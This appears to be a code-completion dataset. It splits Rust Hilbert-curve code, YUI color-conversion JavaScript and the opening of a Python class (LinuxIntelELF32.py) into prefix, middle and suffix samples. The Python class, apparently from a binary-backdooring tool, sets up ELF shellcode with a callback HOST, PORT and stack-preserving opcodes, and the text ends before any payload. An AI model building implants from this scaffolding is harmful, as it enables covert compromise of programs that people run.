y_byte as u32); } pub fn new() -> BytewiseCached { let mut result = BytewiseCached { hilbert: BytewiseHilbert::new(), prev_hi: 0xFFFFFFFFFFFFFFFF, prev_out: (0,0), prev_rot: (false, false), }; result.detangle(0); // ensures that we set the cached stuff correctly return result; } } pub struct BytewiseHilbert { entangle: Vec<u16>, // entangle[x_byte << 16 + y_byte] -> tangle detangle: Vec<(u8, u8)>, // detangle[tangle] -> (x_byte, y_byte) rotation: Vec<u8>, // info on rotation, keyed per self.entangle } impl BytewiseHilbert { pub fn new() -> BytewiseHilbert { let mut entangle = Vec::new(); let mut detangle: Vec<_> = (0..65536).map(|_| (0u8, 0u8)).collect(); let mut rotation = Vec::new(); for x in 0u32..256 { for y in 0u32..256 { let entangled = bit_entangle(((x << 24), (y << 24) + (1 << 23))); entangle.push((entangled >> 48) as u16); detangle[(entangled >> 48) as usize] = (x as u8, y as u8); rotation.push(((entangled >> 44) & 0x0F) as u8); // note to self: math is hard. // rotation decode: lsbs // 0100 -N--> 0100 --> 0100 // 0100 -S--> 1000 --> 1110 // 0100 -F--> 1011 --> 1100 // 0100 -FS-> 0111 --> 0110 } } return BytewiseHilbert {entangle: entangle, detangle: detangle, rotation: rotation}; } pub fn entangle(&self, (mut x, mut y): (u32, u32)) -> u64 { let init_x = x; let init_y = y; let mut result = 0u64; for i in 0..4 { let x_byte = (x >> (24 - (8 * i))) as u8; let y_byte = (y >> (24 - (8 * i))) as u8; result = (result << 16) + self.entangle[(((x_byte as u16) << 8) + y_byte as u16) as usize] as u64; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if (rotation & 0x2) > 0 { let temp = x; x = y; y = temp; } if rotation == 12 || rotation == 6 { x = 0xFFFFFFFF - x; y = 0xFFFFFFFF - y } } debug_assert!(bit_entangle((init_x, init_y)) == result); return result; } #[inline(always)] pub fn detangle(&self, tangle: u64) -> (u32, u32) { let init_tangle = tangle; let mut result = (0u32, 0u32); for log_s in 0u32..4 { let shifted = (tangle >> (16 * log_s)) as u16; let (x_byte, y_byte) = self.detangle[shifted as usize]; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if rotation == 12 || rotation == 6 { result.0 = (1 << 8 * log_s) - result.0 - 1; result.1 = (1 << 8 * log_s) - result.1 - 1; } if (rotation & 0x2) > 0
result.0 += (x_byte as u32) << (8 * log_s); result.1 += (y_byte as u32) << (8 * log_s); } debug_assert!(bit_detangle(init_tangle) == result); return result; } } fn bit_entangle(mut pair: (u32, u32)) -> u64 { let mut result = 0u64; for log_s_rev in 0..32 { let log_s = 31 - log_s_rev; let rx = (pair.0 >> log_s) & 1u32; let ry = (pair.1 >> log_s) & 1u32; result += (((3 * rx) ^ ry) as u64) << (2 * log_s); pair = bit_rotate(log_s, pair, rx, ry); } return result; } fn bit_detangle(tangle: u64) -> (u32, u32) { let mut result = (0u32, 0u32); for log_s in 0..32 { let shifted = ((tangle >> (2 * log_s)) & 3u64) as u32; let rx = (shifted >> 1) & 1u32; let ry = (shifted ^ rx) & 1u32; result = bit_rotate(log_s, result, rx, ry); result = (result.0 + (rx << log_s), result.1 + (ry << log_s)); } return result; } fn bit_rotate(logn: usize, pair: (u32, u32), rx: u32, ry: u32) -> (u32, u32) { if ry == 0 { if rx != 0 { ((1 << logn) - pair.1 - 1, (1 << logn) - pair.0 - 1) } else { (pair.1, pair.0) } } else { pair } }
{ let temp = result.0; result.0 = result.1; result.1 = temp; }
conditional_block
hilbert_curve.rs
use std::io::{Read, Write}; use std::collections::HashMap; use graph_iterator::EdgeMapper; use byteorder::{ReadBytesExt, WriteBytesExt}; #[inline] pub fn encode<W: Write>(writer: &mut W, diff: u64) { assert!(diff > 0); for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8(0u8).ok().expect("write error"); } } for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8((diff >> shift) as u8).ok().expect("write error"); } } writer.write_u8(diff as u8).ok().expect("write error"); } #[inline] pub fn decode<R: Read>(reader: &mut R) -> Option<u64> { if let Ok(mut read) = reader.read_u8() { let mut count = 0u64; while read == 0 { count += 1; read = reader.read_u8().unwrap(); } let mut diff = read as u64; for _ in 0..count { diff = (diff << 8) + (reader.read_u8().unwrap() as u64); } Some(diff) } else { None } } #[test] fn test_encode_decode() { let test_vec = vec![1, 2, 1 << 20, 1 << 60]; let mut writer = Vec::new(); for &elt in test_vec.iter() { encode(&mut writer, elt); } let mut test_out = Vec::new(); let mut reader = &writer[..]; while let Some(elt) = decode(&mut reader) { test_out.push(elt); } assert_eq!(test_vec, test_out); } pub struct Decoder<R: Read> { reader: R, current: u64, } impl<R: Read> Decoder<R> { pub fn new(reader: R) -> Decoder<R> { Decoder { reader: reader, current: 0 } } } impl<R: Read> Iterator for Decoder<R> { type Item = u64; fn next(&mut self) -> Option<u64> { if let Some(diff) = decode(&mut self.reader) { assert!(self.current < self.current + diff); self.current += diff; Some(self.current) } else { None } } } pub fn to_hilbert<I, O>(graph: &I, mut output: O) -> () where I : EdgeMapper, O : FnMut(u64)->(), { let hilbert = BytewiseHilbert::new(); let mut buffer = Vec::new(); graph.map_edges(|node, edge| { buffer.push(hilbert.entangle((node, edge))); }); buffer.sort(); for &element in buffer.iter() { output(element); } } pub fn convert_to_hilbert<I, O>(graph: &I, make_dense: bool, mut output: O) -> () where I : EdgeMapper, O : FnMut(u16, u16, u32, &Vec<(u16, u16)>) -> (), { let mut uppers: HashMap<u32,Vec<u32>> = HashMap::new(); let mut names = Vec::new(); let mut names_count = 0i32; let hilbert = BytewiseHilbert::new(); graph.map_edges(|mut node, mut edge| { if make_dense { while names.len() as u32 <= node { names.push(-1i32); } while names.len() as u32 <= edge { names.push(-1i32); } if names[node as usize] == -1i32 { names[node as usize] = names_count; names_count += 1; } if names[edge as usize] == -1i32 { names[edge as usize] = names_count; names_count += 1; } node = names[node as usize] as u32; edge = names[edge as usize] as u32; } let entangled = hilbert.entangle((node as u32, edge as u32)); let upper = (entangled >> 32) as u32; let lower = entangled as u32; uppers.entry(upper).or_insert(Vec::new()).push(lower); }); let mut keys: Vec<u32> = uppers.keys().map(|x|x.clone()).collect(); keys.sort(); let mut temp = Vec::new(); for &upper in keys.iter() { let mut lowers = uppers.remove(&upper).unwrap(); if lowers.len() > 0 { let upair = hilbert.detangle((upper as u64) << 32); let upperx = (upair.0 >> 16) as u16; let uppery = (upair.1 >> 16) as u16; let length = lowers.len() as u32; lowers.sort(); // TODO : Check Radix sort perf temp.clear(); for &lower in lowers.iter() { let lpair = hilbert.detangle(((upper as u64) << 32) + (lower as u64)); let lowerx = (lpair.0 & 65535u32) as u16; let lowery = (lpair.1 & 65535u32) as u16; temp.push((lowerx, lowery)); } output(upperx, uppery, length, &temp); } } } pub fn merge<I: Iterator<Item=u64>, O: FnMut(u64)->()>(mut iterators: Vec<I>, mut output: O) { let mut values = Vec::new(); for iterator in iterators.iter_mut() { values.push(iterator.next()); } let mut val_old = 0; let mut done = false; while !done { let mut arg_min = iterators.len(); let mut val_min = 0u64; for (index, &value) in values.iter().enumerate() { if let Some(val) = value { if arg_min > index || val < val_min { arg_min = index; val_min = val; // done = false; } } } if arg_min < iterators.len() { values[arg_min] = iterators[arg_min].next(); if let Some(val) = values[arg_min] { assert!(val > val_min); } assert!(val_old <= val_min); val_old = val_min; output(val_min); } else { done = true; } } // confirm that we haven't left anything behind assert!(!values.iter().any(|x|x.is_some())); } // algorithm drawn in large part from http://en.wikipedia.org/wiki/Hilbert_curve // bytewise implementation based on tracking cumulative rotation / mirroring. pub struct BytewiseCached { hilbert: BytewiseHilbert, prev_hi: u64, prev_out: (u32, u32), prev_rot: (bool, bool), } impl BytewiseCached { #[inline(always)] pub fn
(&mut self, tangle: u64) -> (u32, u32) { let (mut x_byte, mut y_byte) = unsafe { *self.hilbert.detangle.get_unchecked(tangle as u16 as usize) }; // validate self.prev_rot, self.prev_out if self.prev_hi != (tangle >> 16) { self.prev_hi = tangle >> 16; // detangle with a bit set to see what happens to it let low = 255; //self.hilbert.entangle((0xF, 0)) as u16; let (x, y) = self.hilbert.detangle((self.prev_hi << 16) + low as u64); let value = (x as u8, y as u8); self.prev_rot = match value { (0x0F, 0x00) => (false, false), // nothing (0x00, 0x0F) => (true, false), // swapped (0xF0, 0xFF) => (false, true), // flipped (0xFF, 0xF0) => (true, true), // flipped & swapped val => panic!(format!("Found : ({:x}, {:x})", val.0, val.1)), }; self.prev_out = (x & 0xFFFFFF00, y & 0xFFFFFF00); } if self.prev_rot.1 { x_byte = 255 - x_byte; y_byte = 255 - y_byte; } if self.prev_rot.0 { let temp = x_byte; x_byte = y_byte; y_byte = temp; } return (self.prev_out.0 + x_byte as u32, self.prev_out.1 + y_byte as u32); } pub fn new() -> BytewiseCached { let mut result = BytewiseCached { hilbert: BytewiseHilbert::new(), prev_hi: 0xFFFFFFFFFFFFFFFF, prev_out: (0,0), prev_rot: (false, false), }; result.detangle(0); // ensures that we set the cached stuff correctly return result; } } pub struct BytewiseHilbert { entangle: Vec<u16>, // entangle[x_byte << 16 + y_byte] -> tangle detangle: Vec<(u8, u8)>, // detangle[tangle] -> (x_byte, y_byte) rotation: Vec<u8>, // info on rotation, keyed per self.entangle } impl BytewiseHilbert { pub fn new() -> BytewiseHilbert { let mut entangle = Vec::new(); let mut detangle: Vec<_> = (0..65536).map(|_| (0u8, 0u8)).collect(); let mut rotation = Vec::new(); for x in 0u32..256 { for y in 0u32..256 { let entangled = bit_entangle(((x << 24), (y << 24) + (1 << 23))); entangle.push((entangled >> 48) as u16); detangle[(entangled >> 48) as usize] = (x as u8, y as u8); rotation.push(((entangled >> 44) & 0x0F) as u8); // note to self: math is hard. // rotation decode: lsbs // 0100 -N--> 0100 --> 0100 // 0100 -S--> 1000 --> 1110 // 0100 -F--> 1011 --> 1100 // 0100 -FS-> 0111 --> 0110 } } return BytewiseHilbert {entangle: entangle, detangle: detangle, rotation: rotation}; } pub fn entangle(&self, (mut x, mut y): (u32, u32)) -> u64 { let init_x = x; let init_y = y; let mut result = 0u64; for i in 0..4 { let x_byte = (x >> (24 - (8 * i))) as u8; let y_byte = (y >> (24 - (8 * i))) as u8; result = (result << 16) + self.entangle[(((x_byte as u16) << 8) + y_byte as u16) as usize] as u64; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if (rotation & 0x2) > 0 { let temp = x; x = y; y = temp; } if rotation == 12 || rotation == 6 { x = 0xFFFFFFFF - x; y = 0xFFFFFFFF - y } } debug_assert!(bit_entangle((init_x, init_y)) == result); return result; } #[inline(always)] pub fn detangle(&self, tangle: u64) -> (u32, u32) { let init_tangle = tangle; let mut result = (0u32, 0u32); for log_s in 0u32..4 { let shifted = (tangle >> (16 * log_s)) as u16; let (x_byte, y_byte) = self.detangle[shifted as usize]; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if rotation == 12 || rotation == 6 { result.0 = (1 << 8 * log_s) - result.0 - 1; result.1 = (1 << 8 * log_s) - result.1 - 1; } if (rotation & 0x2) > 0 { let temp = result.0; result.0 = result.1; result.1 = temp; } result.0 += (x_byte as u32) << (8 * log_s); result.1 += (y_byte as u32) << (8 * log_s); } debug_assert!(bit_detangle(init_tangle) == result); return result; } } fn bit_entangle(mut pair: (u32, u32)) -> u64 { let mut result = 0u64; for log_s_rev in 0..32 { let log_s = 31 - log_s_rev; let rx = (pair.0 >> log_s) & 1u32; let ry = (pair.1 >> log_s) & 1u32; result += (((3 * rx) ^ ry) as u64) << (2 * log_s); pair = bit_rotate(log_s, pair, rx, ry); } return result; } fn bit_detangle(tangle: u64) -> (u32, u32) { let mut result = (0u32, 0u32); for log_s in 0..32 { let shifted = ((tangle >> (2 * log_s)) & 3u64) as u32; let rx = (shifted >> 1) & 1u32; let ry = (shifted ^ rx) & 1u32; result = bit_rotate(log_s, result, rx, ry); result = (result.0 + (rx << log_s), result.1 + (ry << log_s)); } return result; } fn bit_rotate(logn: usize, pair: (u32, u32), rx: u32, ry: u32) -> (u32, u32) { if ry == 0 { if rx != 0 { ((1 << logn) - pair.1 - 1, (1 << logn) - pair.0 - 1) } else { (pair.1, pair.0) } } else { pair } }
detangle
identifier_name
color-base.js
YUI.add('color-base', function (Y, NAME) { /** Color provides static methods for color conversion. Y.Color.toRGB('f00'); // rgb(255, 0, 0) Y.Color.toHex('rgb(255, 255, 0)'); // #ffff00 @module color @submodule color-base @class Color @since 3.8.0 **/ var REGEX_HEX = /^#?([\da-fA-F]{2})([\da-fA-F]{2})([\da-fA-F]{2})/, REGEX_HEX3 = /^#?([\da-fA-F]{1})([\da-fA-F]{1})([\da-fA-F]{1})/, REGEX_RGB = /rgba?\(([\d]{1,3}), ?([\d]{1,3}), ?([\d]{1,3}),? ?([.\d]*)?\)/, TYPES = { 'HEX': 'hex', 'RGB': 'rgb', 'RGBA': 'rgba' }, CONVERTS = { 'hex': 'toHex', 'rgb': 'toRGB', 'rgba': 'toRGBA' }; Y.Color = { /** @static @property KEYWORDS @type Object @since 3.8.0 **/ KEYWORDS: { 'black': '000', 'silver': 'c0c0c0', 'gray': '808080', 'white': 'fff', 'maroon': '800000', 'red': 'f00', 'purple': '800080', 'fuchsia': 'f0f', 'green': '008000', 'lime': '0f0', 'olive': '808000', 'yellow': 'ff0', 'navy': '000080', 'blue': '00f', 'teal': '008080', 'aqua': '0ff' }, /** @static @property REGEX_HEX @type RegExp @default /^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})/ @since 3.8.0 **/ REGEX_HEX: REGEX_HEX, /** @static @property REGEX_HEX3 @type RegExp @default /^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})/ @since 3.8.0 **/ REGEX_HEX3: REGEX_HEX3, /** @static @property REGEX_RGB @type RegExp @default /rgba?\(([0-9]{1,3}), ?([0-9]{1,3}), ?([0-9]{1,3}),? ?([.0-9]{1,3})?\)/ @since 3.8.0 **/ REGEX_RGB: REGEX_RGB, re_RGB: REGEX_RGB, re_hex: REGEX_HEX, re_hex3: REGEX_HEX3, /** @static @property STR_HEX @type String @default #{*}{*}{*} @since 3.8.0 **/ STR_HEX: '#{*}{*}{*}', /** @static @property STR_RGB @type String @default rgb({*}, {*}, {*}) @since 3.8.0 **/ STR_RGB: 'rgb({*}, {*}, {*})', /** @static @property STR_RGBA @type String @default rgba({*}, {*}, {*}, {*}) @since 3.8.0 **/ STR_RGBA: 'rgba({*}, {*}, {*}, {*})', /** @static @property TYPES @type Object @default {'rgb':'rgb', 'rgba':'rgba'} @since 3.8.0 **/ TYPES: TYPES, /** @static @property CONVERTS @type Object @default {} @since 3.8.0 **/ CONVERTS: CONVERTS, /** @public @method convert @param {String} str @param {String} to @return {String} @since 3.8.0 **/ convert: function (str, to) { // check for a toXXX conversion method first // if it doesn't exist, use the toXxx conversion method var convert = Y.Color.CONVERTS[to], clr = Y.Color[convert](str); return clr.toLowerCase(); }, /** Converts provided color value to a hex value string @public @method toHex @param {String} str Hex or RGB value string @return {String} returns array of values or CSS string if options.css is true @since 3.8.0 **/ toHex: function (str) { var clr = Y.Color._convertTo(str, 'hex'); return clr.toLowerCase(); }, /** Converts provided color value to an RGB value string @public @method toRGB @param {String} str Hex or RGB value string @return {String} @since 3.8.0 **/ toRGB: function (str) { var clr = Y.Color._convertTo(str, 'rgb'); return clr.toLowerCase(); }, /** Converts provided color value to an RGB value string @public @method toRGBA @param {String} str Hex or RGB value string @return {String} @since 3.8.0 **/ toRGBA: function (str) { var clr = Y.Color._convertTo(str, 'rgba' ); return clr.toLowerCase(); }, /** Converts the provided color string to an array of values. Will return an empty array if the provided string is not able to be parsed. @public @method toArray @param {String} str @return {Array} @since 3.8.0 **/ toArray: function(str) { // parse with regex and return "matches" array var type = Y.Color.findType(str).toUpperCase(), regex, arr, length, lastItem; if (type === 'HEX' && str.length < 5) { type = 'HEX3'; } if (type.charAt(type.length - 1) === 'A') { type = type.slice(0, -1); } regex = Y.Color['REGEX_' + type]; if (regex) { arr = regex.exec(str) || []; length = arr.length; if (length) { arr.shift(); length--; lastItem = arr[length - 1]; if (!lastItem) { arr[length - 1] = 1; } } } return arr; }, /** Converts the array of values to a string based on the provided template. @public @method fromArray @param {Array} arr @param {String} template @return {String} @since 3.8.0 **/ fromArray: function(arr, template) { arr = arr.concat(); if (typeof template === 'undefined') { return arr.join(', '); } var replace = '{*}'; template = Y.Color['STR_' + template.toUpperCase()]; if (arr.length === 3 && template.match(/\{\*\}/g).length === 4) { arr.push(1); } while ( template.indexOf(replace) >= 0 && arr.length > 0) { template = template.replace(replace, arr.shift()); } return template; }, /** Finds the value type based on the str value provided. @public @method findType @param {String} str @return {String} @since 3.8.0 **/ findType: function (str) { if (Y.Color.KEYWORDS[str]) { return 'keyword'; } var index = str.indexOf('('), key; if (index > 0) { key = str.substr(0, index); } if (key && Y.Color.TYPES[key.toUpperCase()]) { return Y.Color.TYPES[key.toUpperCase()]; } return 'hex'; }, // return 'keyword', 'hex', 'rgb' /** Retrives the alpha channel from the provided string. If no alpha channel is present, `1` will be returned. @protected @method _getAlpha @param {String} clr @return {Number} @since 3.8.0 **/ _getAlpha: function (clr) { var alpha, arr = Y.Color.toArray(clr); if (arr.length > 3) { alpha = arr.pop(); } return +alpha || 1; }, /** Returns the hex value string if found in the KEYWORDS object @protected @method _keywordToHex @param {String} clr @return {String} @since 3.8.0 **/ _keywordToHex: function (clr) { var keyword = Y.Color.KEYWORDS[clr]; if (keyword) { return keyword; } }, /** Converts the provided color string to the value type provided as `to` @protected @method _convertTo @param {String} clr @param {String} to @return {String} @since 3.8.0 **/ _convertTo: function(clr, to) { var from = Y.Color.findType(clr), originalTo = to, needsAlpha, alpha, method, ucTo; if (from === 'keyword') { clr = Y.Color._keywordToHex(clr); from = 'hex'; } if (from === 'hex' && clr.length < 5) { if (clr.charAt(0) === '#') { clr = clr.substr(1); } clr = '#' + clr.charAt(0) + clr.charAt(0) + clr.charAt(1) + clr.charAt(1) + clr.charAt(2) + clr.charAt(2); } if (from === to) { return clr; } if (from.charAt(from.length - 1) === 'a') { from = from.slice(0, -1); } needsAlpha = (to.charAt(to.length - 1) === 'a'); if (needsAlpha) { to = to.slice(0, -1); alpha = Y.Color._getAlpha(clr); } ucTo = to.charAt(0).toUpperCase() + to.substr(1).toLowerCase(); method = Y.Color['_' + from + 'To' + ucTo ]; // check to see if need conversion to rgb first // check to see if there is a direct conversion method // convertions are: hex <-> rgb <-> hsl if (!method) { if (from !== 'rgb' && to !== 'rgb') { clr = Y.Color['_' + from + 'ToRgb'](clr); from = 'rgb'; method = Y.Color['_' + from + 'To' + ucTo ]; } } if (method) { clr = ((method)(clr, needsAlpha)); } // process clr from arrays to strings after conversions if alpha is needed if (needsAlpha) { if (!Y.Lang.isArray(clr))
clr.push(alpha); clr = Y.Color.fromArray(clr, originalTo.toUpperCase()); } return clr; }, /** Processes the hex string into r, g, b values. Will return values as an array, or as an rgb string. @protected @method _hexToRgb @param {String} str @param {Boolean} [toArray] @return {String|Array} @since 3.8.0 **/ _hexToRgb: function (str, toArray) { var r, g, b; /*jshint bitwise:false*/ if (str.charAt(0) === '#') { str = str.substr(1); } str = parseInt(str, 16); r = str >> 16; g = str >> 8 & 0xFF; b = str & 0xFF; if (toArray) { return [r, g, b]; } return 'rgb(' + r + ', ' + g + ', ' + b + ')'; }, /** Processes the rgb string into r, g, b values. Will return values as an array, or as a hex string. @protected @method _rgbToHex @param {String} str @param {Boolean} [toArray] @return {String|Array} @since 3.8.0 **/ _rgbToHex: function (str) { /*jshint bitwise:false*/ var rgb = Y.Color.toArray(str), hex = rgb[2] | (rgb[1] << 8) | (rgb[0] << 16); hex = (+hex).toString(16); while (hex.length < 6) { hex = '0' + hex; } return '#' + hex; } }; }, '@VERSION@', {"requires": ["yui-base"]});
{ clr = Y.Color.toArray(clr); }
conditional_block
color-base.js
YUI.add('color-base', function (Y, NAME) { /** Color provides static methods for color conversion. Y.Color.toRGB('f00'); // rgb(255, 0, 0) Y.Color.toHex('rgb(255, 255, 0)'); // #ffff00 @module color @submodule color-base @class Color @since 3.8.0 **/ var REGEX_HEX = /^#?([\da-fA-F]{2})([\da-fA-F]{2})([\da-fA-F]{2})/, REGEX_HEX3 = /^#?([\da-fA-F]{1})([\da-fA-F]{1})([\da-fA-F]{1})/, REGEX_RGB = /rgba?\(([\d]{1,3}), ?([\d]{1,3}), ?([\d]{1,3}),? ?([.\d]*)?\)/, TYPES = { 'HEX': 'hex', 'RGB': 'rgb', 'RGBA': 'rgba' }, CONVERTS = { 'hex': 'toHex', 'rgb': 'toRGB', 'rgba': 'toRGBA' }; Y.Color = { /** @static @property KEYWORDS @type Object @since 3.8.0 **/ KEYWORDS: { 'black': '000', 'silver': 'c0c0c0', 'gray': '808080', 'white': 'fff', 'maroon': '800000', 'red': 'f00', 'purple': '800080', 'fuchsia': 'f0f', 'green': '008000', 'lime': '0f0', 'olive': '808000', 'yellow': 'ff0', 'navy': '000080', 'blue': '00f', 'teal': '008080', 'aqua': '0ff' }, /** @static @property REGEX_HEX @type RegExp @default /^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})/ @since 3.8.0 **/ REGEX_HEX: REGEX_HEX, /** @static @property REGEX_HEX3 @type RegExp @default /^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})/ @since 3.8.0 **/ REGEX_HEX3: REGEX_HEX3, /** @static @property REGEX_RGB @type RegExp @default /rgba?\(([0-9]{1,3}), ?([0-9]{1,3}), ?([0-9]{1,3}),? ?([.0-9]{1,3})?\)/ @since 3.8.0 **/ REGEX_RGB: REGEX_RGB, re_RGB: REGEX_RGB, re_hex: REGEX_HEX, re_hex3: REGEX_HEX3, /** @static @property STR_HEX @type String @default #{*}{*}{*} @since 3.8.0 **/ STR_HEX: '#{*}{*}{*}', /** @static @property STR_RGB @type String @default rgb({*}, {*}, {*}) @since 3.8.0 **/ STR_RGB: 'rgb({*}, {*}, {*})', /** @static @property STR_RGBA @type String @default rgba({*}, {*}, {*}, {*}) @since 3.8.0 **/ STR_RGBA: 'rgba({*}, {*}, {*}, {*})', /** @static @property TYPES @type Object @default {'rgb':'rgb', 'rgba':'rgba'} @since 3.8.0 **/ TYPES: TYPES, /** @static @property CONVERTS @type Object @default {} @since 3.8.0 **/ CONVERTS: CONVERTS, /** @public @method convert @param {String} str @param {String} to @return {String} @since 3.8.0 **/ convert: function (str, to) { // check for a toXXX conversion method first // if it doesn't exist, use the toXxx conversion method var convert = Y.Color.CONVERTS[to], clr = Y.Color[convert](str); return clr.toLowerCase(); }, /** Converts provided color value to a hex value string @public @method toHex @param {String} str Hex or RGB value string @return {String} returns array of values or CSS string if options.css is true @since 3.8.0 **/ toHex: function (str) { var clr = Y.Color._convertTo(str, 'hex'); return clr.toLowerCase(); }, /** Converts provided color value to an RGB value string @public @method toRGB @param {String} str Hex or RGB value string @return {String} @since 3.8.0 **/ toRGB: function (str) { var clr = Y.Color._convertTo(str, 'rgb'); return clr.toLowerCase(); }, /** Converts provided color value to an RGB value string @public @method toRGBA @param {String} str Hex or RGB value string @return {String} @since 3.8.0 **/ toRGBA: function (str) { var clr = Y.Color._convertTo(str, 'rgba' ); return clr.toLowerCase(); }, /** Converts the provided color string to an array of values. Will return an empty array if the provided string is not able to be parsed. @public @method toArray @param {String} str @return {Array} @since 3.8.0 **/ toArray: function(str) { // parse with regex and return "matches" array var type = Y.Color.findType(str).toUpperCase(), regex, arr, length, lastItem; if (type === 'HEX' && str.length < 5) { type = 'HEX3'; } if (type.charAt(type.length - 1) === 'A') { type = type.slice(0, -1); } regex = Y.Color['REGEX_' + type]; if (regex) { arr = regex.exec(str) || []; length = arr.length; if (length) { arr.shift(); length--; lastItem = arr[length - 1]; if (!lastItem) { arr[length - 1] = 1; } } } return arr; }, /** Converts the array of values to a string based on the provided template. @public @method fromArray @param {Array} arr @param {String} template @return {String} @since 3.8.0 **/ fromArray: function(arr, template) { arr = arr.concat(); if (typeof template === 'undefined') { return arr.join(', '); } var replace = '{*}'; template = Y.Color['STR_' + template.toUpperCase()]; if (arr.length === 3 && template.match(/\{\*\}/g).length === 4) { arr.push(1); } while ( template.indexOf(replace) >= 0 && arr.length > 0) { template = template.replace(replace, arr.shift()); } return template; }, /** Finds the value type based on the str value provided. @public @method findType @param {String} str @return {String} @since 3.8.0 **/ findType: function (str) { if (Y.Color.KEYWORDS[str]) { return 'keyword'; } var index = str.indexOf('('), key; if (index > 0) { key = str.substr(0, index); } if (key && Y.Color.TYPES[key.toUpperCase()]) { return Y.Color.TYPES[key.toUpperCase()]; } return 'hex'; }, // return 'keyword', 'hex', 'rgb' /** Retrives the alpha channel from the provided string. If no alpha channel is present, `1` will be returned. @protected @method _getAlpha @param {String} clr @return {Number} @since 3.8.0 **/ _getAlpha: function (clr) { var alpha, arr = Y.Color.toArray(clr); if (arr.length > 3) { alpha = arr.pop(); } return +alpha || 1; }, /** Returns the hex value string if found in the KEYWORDS object @protected @method _keywordToHex @param {String} clr @return {String} @since 3.8.0 **/ _keywordToHex: function (clr) { var keyword = Y.Color.KEYWORDS[clr]; if (keyword) { return keyword; } }, /** Converts the provided color string to the value type provided as `to` @protected @method _convertTo @param {String} clr @param {String} to @return {String} @since 3.8.0 **/ _convertTo: function(clr, to) { var from = Y.Color.findType(clr), originalTo = to, needsAlpha, alpha, method, ucTo; if (from === 'keyword') { clr = Y.Color._keywordToHex(clr); from = 'hex'; } if (from === 'hex' && clr.length < 5) { if (clr.charAt(0) === '#') { clr = clr.substr(1); } clr = '#' + clr.charAt(0) + clr.charAt(0) + clr.charAt(1) + clr.charAt(1) + clr.charAt(2) + clr.charAt(2); } if (from === to) { return clr; } if (from.charAt(from.length - 1) === 'a') { from = from.slice(0, -1); } needsAlpha = (to.charAt(to.length - 1) === 'a'); if (needsAlpha) { to = to.slice(0, -1); alpha = Y.Color._getAlpha(clr); } ucTo = to.charAt(0).toUpperCase() + to.substr(1).toLowerCase(); method = Y.Color['_' + from + 'To' + ucTo ]; // check to see if need conversion to rgb first // check to see if there is a direct conversion method // convertions are: hex <-> rgb <-> hsl if (!method) { if (from !== 'rgb' && to !== 'rgb') { clr = Y.Color['_' + from + 'ToRgb'](clr); from = 'rgb'; method = Y.Color['_' + from + 'To' + ucTo ]; } }
if (method) { clr = ((method)(clr, needsAlpha)); } // process clr from arrays to strings after conversions if alpha is needed if (needsAlpha) { if (!Y.Lang.isArray(clr)) { clr = Y.Color.toArray(clr); } clr.push(alpha); clr = Y.Color.fromArray(clr, originalTo.toUpperCase()); } return clr; }, /** Processes the hex string into r, g, b values. Will return values as an array, or as an rgb string. @protected @method _hexToRgb @param {String} str @param {Boolean} [toArray] @return {String|Array} @since 3.8.0 **/ _hexToRgb: function (str, toArray) { var r, g, b; /*jshint bitwise:false*/ if (str.charAt(0) === '#') { str = str.substr(1); } str = parseInt(str, 16); r = str >> 16; g = str >> 8 & 0xFF; b = str & 0xFF; if (toArray) { return [r, g, b]; } return 'rgb(' + r + ', ' + g + ', ' + b + ')'; }, /** Processes the rgb string into r, g, b values. Will return values as an array, or as a hex string. @protected @method _rgbToHex @param {String} str @param {Boolean} [toArray] @return {String|Array} @since 3.8.0 **/ _rgbToHex: function (str) { /*jshint bitwise:false*/ var rgb = Y.Color.toArray(str), hex = rgb[2] | (rgb[1] << 8) | (rgb[0] << 16); hex = (+hex).toString(16); while (hex.length < 6) { hex = '0' + hex; } return '#' + hex; } }; }, '@VERSION@', {"requires": ["yui-base"]});
random_line_split
LinuxIntelELF32.py
''' Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com Copyright (C) 2013,2014, Joshua Pitts License: GPLv3 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. See <http://www.gnu.org/licenses/> for a copy of the GNU General Public License Currently supports win32/64 PE and linux32/64 ELF only(intel architecture). This program is to be used for only legal activities by IT security professionals and researchers. Author not responsible for malicious uses. ''' import struct import sys class linux_elfI32_shellcode(): """ Linux ELFIntel x32 shellcode class """ def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None): #could take this out HOST/PORT and put into each shellcode function self.HOST = HOST self.PORT = PORT self.e_entry = e_entry self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE self.shellcode = "" self.stackpreserve = "\x90\x90\x60\x9c" self.stackrestore = "\x9d\x61" def pack_ip_addresses(self): hostocts = [] if self.HOST is None: print "This shellcode requires a HOST parameter -H" sys.exit(1) for i, octet in enumerate(self.HOST.split('.')): hostocts.append(int(octet)) self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], hostocts[2], hostocts[3]) return self.hostip def returnshellcode(self): return self.shellcode def
